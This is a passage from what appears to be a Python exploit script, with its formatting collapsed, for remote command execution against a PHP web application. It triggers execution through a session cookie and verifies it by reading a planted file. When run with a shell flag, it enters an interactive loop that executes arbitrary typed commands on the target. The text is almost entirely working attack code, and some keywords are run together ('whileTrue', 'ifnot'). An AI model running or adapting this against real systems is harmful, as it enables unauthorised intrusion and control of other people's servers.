# Step 2: Trigger command execution trigger_execution_response = checker.trigger_execution(phpsessid) if trigger_execution_response and trigger_execution_response.status_code == 200: logging.info("Command execution triggered successfully") logging.info(f"Trigger response status: {trigger_execution_response.status_code}") if trigger_execution_response.text: logging.info(f"Response content length: {len(trigger_execution_response.text)}") # Step 3: Verify the result logging.info("Command execution verified") verify_execution_response = checker.verify_execution() if verify_execution_response and verify_execution_response.status_code == 200: if verify_execution_response.text: logging.info(f"System info: {verify_execution_response.text.strip()}") logging.info("Verification completed successfully") else: logging.error("Verification failed - file not created or accessible") return else: logging.error("Command execution trigger failed") return
# Open the command execution terminal if args.shell: logging.info("###########################################") logging.info("### Open the command execution terminal ###") logging.info("###########################################")
whileTrue: command = input("#: ") if command == "exit": return shell = Vuln( args.url, verify_ssl=not args.no_verify, command=command, timeout=args.timeout ) phpsessid = shell.create_initial_session() ifnot phpsessid: logging.error("Session creation failed") continue trigger_execution_response = checker.trigger_execution(phpsessid) if trigger_execution_response and trigger_execution_response.status_code == 200: verify_execution_response = checker.verify_execution() if verify_execution_response and verify_execution_response.status_code == 200: if verify_execution_response.text: print(verify_execution_response.text.strip()) else: logging.error("Verification failed - file not created or accessible") continue else: logging.error("Command execution trigger failed") continue except KeyboardInterrupt: sys.exit(0)